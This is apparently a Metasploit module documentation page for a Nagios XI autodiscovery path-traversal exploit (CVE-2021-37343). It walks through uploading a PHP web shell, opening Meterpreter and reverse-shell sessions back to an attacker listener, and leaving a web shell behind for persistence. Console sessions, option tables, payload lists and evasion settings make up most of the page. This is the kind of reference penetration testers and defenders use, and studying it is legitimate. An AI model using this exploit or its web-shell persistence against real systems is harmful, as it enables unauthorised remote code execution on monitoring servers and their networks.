Nagios XI Autodiscovery Webshell Upload - Metasploit


This page contains detailed information about how to use the exploit/linux/http/nagios_xi_autodiscovery_webshell metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Nagios XI Autodiscovery Webshell Upload
Module: exploit/linux/http/nagios_xi_autodiscovery_webshell
Source code: modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb
Disclosure date: 2021-07-15
Last modification time: 2022-02-10 17:39:07 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-37343

This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343). The path traversal allows a remote and authenticated administrator to upload a PHP web shell and execute code as www-data. The module achieves this by creating an autodiscovery job with an id field containing a path traversal to a writable and remotely accessible directory, and custom_ports field containing the web shell. A cron file will be created using the chosen path and file name, and the web shell is embedded in the file. After the web shell has been written to the victim, this module will then use the web shell to establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by the module, and the autodiscovery job is removed as well.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/linux/http/nagios_xi_autodiscovery_webshell
msf exploit(nagios_xi_autodiscovery_webshell) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

  • PASSWORD: Password to authenticate with

Knowledge Base


Vulnerable Application


Description

This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343). The path traversal allows a remote and authenticated administrator to upload a PHP web shell and execute code as www-data. The module achieves this by creating an autodiscovery job with an id field containing a path traversal to a writable and remotely accessible directory, and custom_ports field containing the web shell. A cron file will be created using the attacker's chosen path and name, and the web shell is embedded in the file.

After the web shell has been written to the victim, this module will then use the webshell to establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by the module, and the autodiscovery job is removed as well.

Installation

The following was tested on Ubuntu 20.04.

  • wget https://assets.nagios.com/downloads/nagiosxi/5/xi-5.8.4.tar.gz
  • tar -xvf xi-5.8.4.tar.gz
  • cd nagiosxi
  • sudo ./fullinstall

The installer will spend a good deal of time installing many things. Upon completion, navigate to the Web UI, accept license agreements, and configure the administrator username and password.

Verification Steps


  • Follow the instructions above to install Nagios XI 5.8.4 on Ubuntu 20.04
  • Do: use exploit/linux/http/nagios_xi_autodiscovery_webshell
  • Do: set RHOST <ip>
  • Do: set PASSWORD <password>
  • Do: check
  • Verify the target is flagged as vulnerable
  • Do: set LHOST <ip>
  • Do: run
  • You should get a Meterpreter session.

Options


TARGETURI

Specifies base URI. The default value is /nagiosxi.

USERNAME

The username to log in to the Nagios XI web interface with. The default is nagiosadmin.

PASSWORD

The password to log in with. Set to nil by default.

DEPTH

The depth of the path traversal. Default is 10.

WEBSHELL_NAME

Allows the user to name the webshell. If the user doesn't provided a name then one will be automatically generated. Set to nil by default.

DELETE_WEBSHELL

Indicates if the web shell should be deleted after the meterpreter session or reverse shell is established. A user may want to leave behind a web shell for persistence reasons. The default is true.

Scenarios


Nagios XI 5.8.4 - Get a Meterpreter Session

msf6 > use auxiliary/scanner/http/nagios_xi_scanner
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 auxiliary(scanner/http/nagios_xi_scanner) > run

[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.8.4
[+] The target appears to be vulnerable to the following 1 exploit(s):
[*] 
[*]     CVE-2021-37343    exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] 
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run

[*] Started reverse TCP handler on 10.0.0.3:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Sending stage (989032 bytes) to 10.0.0.6
[+] Deleted /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
[*] Command Stager progress - 100.00% done (700/700 bytes)
[*] Deleting autodiscovery job
[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44224 ) at 2022-02-05 17:53:27 -0800

meterpreter > shell
Process 800816 created.
Channel 1 created.
uname -a
Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
whoami
www-data
pwd
/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp

Nagios XI 5.8.4 - Get a reverse shell

msf6 > use auxiliary/scanner/http/nagios_xi_scanner
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 auxiliary(scanner/http/nagios_xi_scanner) > run

[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.8.4
[+] The target appears to be vulnerable to the following 1 exploit(s):
[*] 
[*]     CVE-2021-37343    exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] 
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set target 0
target => 0
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run

[*] Started reverse double SSL handler on 10.0.0.3:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
[*] Executing Unix Command for cmd/unix/reverse_openssl
[*] Deleting autodiscovery job
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo nyjlVFXNgWehsWFs;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "nyjlVFXNgWehsWFs\n"
[*] Matching...
[*] A is input...
[+] Deleted /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
[*] Command shell session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44226 ) at 2022-02-05 17:56:49 -0800

whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),135(Debian-snmp),1001(nagios),1002(nagcmd)
pwd
/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp

Nagios XI 5.8.4 - Leave a web shell behind

msf6 > use exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set DELETE_WEBSHELL false
DELETE_WEBSHELL => false
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set WEBSHELL_NAME lobster.php
WEBSHELL_NAME => lobster.php
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run

[*] Started reverse TCP handler on 10.0.0.3:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Sending stage (989032 bytes) to 10.0.0.6
[*] Command Stager progress - 100.00% done (700/700 bytes)
[*] Deleting autodiscovery job
[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44230 ) at 2022-02-05 18:07:14 -0800

meterpreter > quit
[*] Shutting down Meterpreter...

[*] 10.0.0.6 - Meterpreter session 1 closed.  Reason: User exit
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > exit
albinolobster@ubuntu:~/metasploit-framework$ curl --insecure https://10.0.0.6/nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php?cmd=id
0 9 * * *   rm -f '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml'; touch '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch'; sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses='127.0.0.1/0' --exclude='' --output='../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml' --watch='/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch' --onlynew=0 --debug=1 --detectos=1 --detecttopo=1   --customports='uid=33(www-data) gid=33(www-data) groups=33(www-data),135(Debian-snmp),1001(nagios),1002(nagcmd)
' > '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.out' 2>&1 & echo $! > /dev/null 2>&1

Go back to menu.

Msfconsole Usage


Here is how the linux/http/nagios_xi_autodiscovery_webshell exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/nagios_xi_autodiscovery_webshell

[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > show info

       Name: Nagios XI Autodiscovery Webshell Upload
     Module: exploit/linux/http/nagios_xi_autodiscovery_webshell
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-07-15

Provided by:
  Claroty Team82
  jbaines-r7

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Unix Command
  1   Linux Dropper

Check supported:
  Yes

Basic options:
  Name             Current Setting  Required  Description
  ----             ---------------  --------  -----------
  DELETE_WEBSHELL  true             yes       Indicates if the webshell should be deleted or not.
  DEPTH            10               yes       The depth of the path traversal
  FINISH_INSTALL   false            no        If the Nagios XI installation has not been completed, try to do so. This inclu
                                              des signing the license agreement.
  PASSWORD                          yes       Password to authenticate with
  Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                            yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Us
                                              ing-Metasploit
  RPORT            443              yes       The target port (TCP)
  SRVHOST          0.0.0.0          yes       The local host or network interface to listen on. This must be an address on t
                                              he local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT          8080             yes       The local port to listen on.
  SSL              true             no        Negotiate SSL/TLS for outgoing connections
  SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI        /nagiosxi/       yes       The base path to the Nagios XI application
  URIPATH                           no        The URI to use for this exploit (default is random)
  USERNAME         nagiosadmin      yes       Username to authenticate with
  VHOST                             no        HTTP server virtual host
  WEBSHELL_NAME                     no        The name of the uploaded webshell. This value is random if left unset

Payload information:

Description:
  This module exploits a path traversal issue in Nagios XI before 
  version 5.8.5 (CVE-2021-37343). The path traversal allows a remote 
  and authenticated administrator to upload a PHP web shell and 
  execute code as `www-data`. The module achieves this by creating an 
  autodiscovery job with an `id` field containing a path traversal to 
  a writable and remotely accessible directory, and `custom_ports` 
  field containing the web shell. A cron file will be created using 
  the chosen path and file name, and the web shell is embedded in the 
  file. After the web shell has been written to the victim, this 
  module will then use the web shell to establish a Meterpreter 
  session or a reverse shell. By default, the web shell is deleted by 
  the module, and the autodiscovery job is removed as well.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-37343
  https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/

Module Options


This is a complete list of options available in the linux/http/nagios_xi_autodiscovery_webshell exploit:

msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > show options

Module options (exploit/linux/http/nagios_xi_autodiscovery_webshell):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   DELETE_WEBSHELL  true             yes       Indicates if the webshell should be deleted or not.
   DEPTH            10               yes       The depth of the path traversal
   FINISH_INSTALL   false            no        If the Nagios XI installation has not been completed, try to do so. This incl
                                               udes signing the license agreement.
   PASSWORD                          yes       Password to authenticate with
   Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                            yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/U
                                               sing-Metasploit
   RPORT            443              yes       The target port (TCP)
   SRVHOST          0.0.0.0          yes       The local host or network interface to listen on. This must be an address on
                                               the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT          8080             yes       The local port to listen on.
   SSL              true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI        /nagiosxi/       yes       The base path to the Nagios XI application
   URIPATH                           no        The URI to use for this exploit (default is random)
   USERNAME         nagiosadmin      yes       Username to authenticate with
   VHOST                             no        HTTP server virtual host
   WEBSHELL_NAME                     no        The name of the uploaded webshell. This value is random if left unset

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper

Advanced Options


Here is a complete list of advanced options supported by the linux/http/nagios_xi_autodiscovery_webshell exploit:

msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > show advanced

Module advanced options (exploit/linux/http/nagios_xi_autodiscovery_webshell):

   Name                    Current Setting                  Required  Description
   ----                    ---------------                  --------  -----------
   AllowNoCleanup          false                            no        Allow exploitation without the possibility of cleaning
                                                                       up files
   AutoCheck               true                             no        Run check before exploit
   CMDSTAGER::DECODER                                       no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                             no        The CMD Stager to use. (Accepted: auto, printf)
   CMDSTAGER::SSL          false                            no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                          no        Writable directory for staged files
   ContextInformationFile                                   no        The information file that contains context information
   DOMAIN                  WORKSTATION                      yes       The domain to use for Windows authentication
   DigestAuthIIS           true                             no        Conform to IIS, should work for most servers. Only set
                                                                       to false for non-IIS servers
   DisablePayloadHandler   false                            no        Disable the handler code for the selected payload
   EXE::Custom                                              no        Use custom exe instead of automatically generating a p
                                                                      ayload exe
   EXE::EICAR              false                            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                            no        Use the default template in case the specified one is
                                                                      missing
   EXE::Inject             false                            no        Set to preserve the original EXE function
   EXE::OldMethod          false                            no        Set to use the substitution EXE generation method.
   EXE::Path                                                no        The directory in which to look for the executable temp
                                                                      late
   EXE::Template                                            no        The executable template file name.
   EnableContextEncoding   false                            no        Use transient context when encoding payloads
   FileDropperDelay                                         no        Delay in seconds before attempting cleanup
   FingerprintCheck        true                             no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                            no        Override check result
   HttpClientTimeout                                        no        HTTP connection and receive timeout
   HttpPassword                                             no        The HTTP password to specify for authentication
   HttpRawHeaders                                           no        Path to ERB-templatized raw headers to append to exist
                                                                      ing headers
   HttpTrace               false                            no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                          no        HTTP request and response colors for HttpTrace (unset
                                                                      to disable)
   HttpTraceHeadersOnly    false                            no        Show HTTP headers only in HttpTrace
   HttpUsername                                             no        The HTTP username to specify for authentication
   ListenerComm                                             no        The specific communication channel to use for this ser
                                                                      vice
   MSI::Custom                                              no        Use custom msi instead of automatically generating a p
                                                                      ayload msi
   MSI::EICAR              false                            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                no        The directory in which to look for the msi template
   MSI::Template                                            no        The msi template file name
   MSI::UAC                false                            no        Create an MSI with a UAC prompt (elevation to SYSTEM i
                                                                      f accepted)
   SSLCipher                                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "
                                                                      ADH"
   SSLCompression          false                            no        Enable SSL/TLS-level compression
   SSLVersion              Auto                             yes       Specify the version of SSL/TLS to be used (Auto, TLS a
                                                                      nd SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL
                                                                      23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                            no        Return a robots.txt file if asked for one
   URIHOST                                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                                  no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/5.0 (Macintosh; Intel M  no        The User-Agent header to use for all requests
                           ac OS X 12_2_1) AppleWebKit/605
                           .1.15 (KHTML, like Gecko) Versi
                           on/15.2 Safari/605.1.15
   VERBOSE                 false                            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module
   WfsDelay                2                                no        Additional delay in seconds to wait for a session

Payload advanced options (linux/x86/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in second
                                                           s
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP
                                                            transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScrip
                                                           t)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   MeterpreterTryToFork         true             no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires
                                                           tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid
                                                            to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via for
                                                           k
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will
                                                           NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should b
                                                           e killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut
                                                            down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableS
                                                           tageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compa
                                                           tible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect
                                                           fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attemp
                                                           ts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/nagios_xi_autodiscovery_webshell module can exploit:

msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix Command
   1   Linux Dropper

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/nagios_xi_autodiscovery_webshell exploit:

msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/ssh/interact                                       normal  No     Interact with Established SSH Connection
   5   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   6   payload/linux/x64/exec                                             normal  No     Linux Execute Command
   7   payload/linux/x64/meterpreter/bind_tcp                             normal  No     Linux Mettle x64, Bind TCP Stager
   8   payload/linux/x64/meterpreter/reverse_tcp                          normal  No     Linux Mettle x64, Reverse TCP Stager
   9   payload/linux/x64/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   10  payload/linux/x64/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   11  payload/linux/x64/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   12  payload/linux/x64/pingback_bind_tcp                                normal  No     Linux x64 Pingback, Bind TCP Inline
   13  payload/linux/x64/pingback_reverse_tcp                             normal  No     Linux x64 Pingback, Reverse TCP Inline
   14  payload/linux/x64/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager
   15  payload/linux/x64/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   16  payload/linux/x64/shell_bind_ipv6_tcp                              normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   17  payload/linux/x64/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   18  payload/linux/x64/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   19  payload/linux/x64/shell_reverse_ipv6_tcp                           normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   20  payload/linux/x64/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   21  payload/linux/x86/chmod                                            normal  No     Linux Chmod
   22  payload/linux/x86/exec                                             normal  No     Linux Execute Command
   23  payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   24  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   25  payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   26  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   27  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   28  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   29  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   30  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   31  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   32  payload/linux/x86/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   33  payload/linux/x86/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   34  payload/linux/x86/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   35  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   36  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   37  payload/linux/x86/read_file                                        normal  No     Linux Read File
   38  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   39  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   40  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   41  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   42  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   43  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   44  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   45  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   46  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   47  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   48  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   49  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   50  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   51  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/nagios_xi_autodiscovery_webshell exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunke
                                                            d"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accep
                                                            ted: none, gzip, deflate)
